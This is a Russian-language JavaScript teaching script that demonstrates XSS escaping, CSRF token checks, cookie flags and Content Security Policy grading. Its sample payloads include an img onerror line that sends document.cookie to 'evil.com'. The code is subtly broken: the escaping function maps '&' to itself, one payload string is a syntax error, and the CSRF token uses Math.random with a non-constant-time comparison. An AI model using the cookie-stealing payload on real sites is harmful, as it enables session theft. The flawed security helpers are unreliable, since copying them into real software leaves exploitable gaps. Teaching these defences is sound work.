Демонстрация XSS уязвимости и безопасной версии, CSRF-токен валидация, анализ атрибутов кук

// ===== XSS: УЯЗВИМОСТЬ И ЗАЩИТА =====
console.log('=== XSS: уязвимость и защита ===')

// Функция экранирования HTML
function escapeHtml(unsafe) {
  return String(unsafe)
    .replace(/&/g, '&')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#039;')
}

// Симулируем пользовательский ввод с XSS-попыткой
const maliciousInput = '<script>alert("XSS!")</script>'
const maliciousImg   = '<img src=x onerror="fetch('evil.com?c='+document.cookie)">'
const maliciousA     = '<a href="javascript:alert(1)">Click me</a>'

console.log('ОПАСНЫЙ вывод (innerHTML):')
console.log('  Было бы выполнено:', maliciousInput)
console.log('  Было бы выполнено:', maliciousImg)

console.log('\nБЕЗОПАСНЫЙ вывод (после escapeHtml):')
console.log('  Отобразится как текст:', escapeHtml(maliciousInput))
console.log('  Отобразится как текст:', escapeHtml(maliciousImg))
console.log('  Отобразится как текст:', escapeHtml(maliciousA))

// Безопасное создание HTML элементов
function createSafeElement(tag, text, className) {
  // В браузерной среде использовали бы:
  // const el = document.createElement(tag)
  // el.textContent = text  // НЕ innerHTML!
  // el.className = className
  // return el

  // Для демонстрации возвращаем строку
  return `<${tag} class="${escapeHtml(className)}">${escapeHtml(text)}</${tag}>`
}

const userInput = '<script>stealData()</script>'
console.log('\nБезопасный элемент:', createSafeElement('p', userInput, 'user-content'))

// ===== CSRF: ТОКЕН И ВАЛИДАЦИЯ =====
console.log('\n=== CSRF: генерация и валидация токена ===')

// Генерация CSRF-токена (на сервере)
function generateCSRFToken() {
  // В реальности: crypto.randomBytes(32).toString('hex')
  // Эмуляция для Node.js среды
  const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
  let token = ''
  for (let i = 0; i < 32; i++) {
    token += chars[Math.floor(Math.random() * chars.length)]
  }
  return token
}

// Эмуляция серверной сессии
const serverSession = {
  userId: 'user123',
  csrfToken: generateCSRFToken()
}

console.log('CSRF токен из сессии:', serverSession.csrfToken)

// Валидация CSRF на сервере
function validateCSRFToken(requestToken, sessionToken) {
  if (!requestToken || !sessionToken) {
    return { valid: false, error: 'Токен отсутствует' }
  }

  // Timing-safe comparison (в реальности: crypto.timingSafeEqual)
  if (requestToken !== sessionToken) {
    return { valid: false, error: 'Токен не совпадает' }
  }

  return { valid: true }
}

// Легитимный запрос (с правильным токеном)
const legitimateRequest = {
  headers: { 'X-CSRF-Token': serverSession.csrfToken },
  body: { amount: 100, to: 'recipient' }
}

// CSRF атака (без токена или с неправильным)
const csrfAttack = {
  headers: {},  // токен не добавлен
  body: { amount: 1000, to: 'attacker' }
}

console.log('Легитимный запрос:',
  validateCSRFToken(legitimateRequest.headers['X-CSRF-Token'], serverSession.csrfToken))

console.log('CSRF атака:',
  validateCSRFToken(csrfAttack.headers['X-CSRF-Token'], serverSession.csrfToken))

console.log('Неверный токен:',
  validateCSRFToken('wrong-token-here', serverSession.csrfToken))

// ===== АНАЛИЗ COOKIE АТРИБУТОВ =====
console.log('\n=== Атрибуты Cookie: безопасный vs небезопасный ===')

function analyzeCookieSecurity(cookieHeader) {
  const flags = {
    HttpOnly: cookieHeader.includes('HttpOnly'),
    Secure:   cookieHeader.includes('Secure'),
    SameSite: cookieHeader.match(/SameSite=(\w+)/)?.[1] || 'не установлен',
  }

  const issues = []
  if (!flags.HttpOnly) issues.push('Без HttpOnly: JS может читать куку (XSS риск)')
  if (!flags.Secure)   issues.push('Без Secure: передаётся по HTTP (man-in-the-middle)')
  if (flags.SameSite === 'None') issues.push('SameSite=None: уязвимо к CSRF')
  if (flags.SameSite === 'не установлен') issues.push('SameSite не установлен: CSRF риск')

  return { flags, issues, secure: issues.length === 0 }
}

const insecureCookie = 'session=abc123; Path=/'
const secureCookie   = 'session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/'
const partialCookie  = 'session=abc123; HttpOnly; Path=/'

console.log('Небезопасная кука:')
console.log(analyzeCookieSecurity(insecureCookie))

console.log('\nБезопасная кука:')
console.log(analyzeCookieSecurity(secureCookie))

console.log('\nЧастично защищённая:')
console.log(analyzeCookieSecurity(partialCookie))

// ===== ПРОВЕРКА CSP ЗАГОЛОВКА =====
console.log('\n=== Content Security Policy ===')

const cspExamples = {
  strict: "default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:",
  moderate: "default-src 'self'; script-src 'self' 'unsafe-inline'; img-src *",
  weak: "default-src *; script-src 'unsafe-inline' 'unsafe-eval'",
}

function evaluateCSP(csp) {
  const issues = []
  if (csp.includes('unsafe-inline')) issues.push("'unsafe-inline': inline-скрипты разрешены (XSS риск)")
  if (csp.includes('unsafe-eval'))  issues.push("'unsafe-eval': eval() разрешён (XSS риск)")
  if (csp.includes("default-src *")) issues.push("default-src *: любые источники (слабая защита)")
  return { issues, level: issues.length === 0 ? 'Строгий' : issues.length === 1 ? 'Умеренный' : 'Слабый' }
}

for (const [name, csp] of Object.entries(cspExamples)) {
  console.log(`\nCSP "${name}":`, evaluateCSP(csp))
}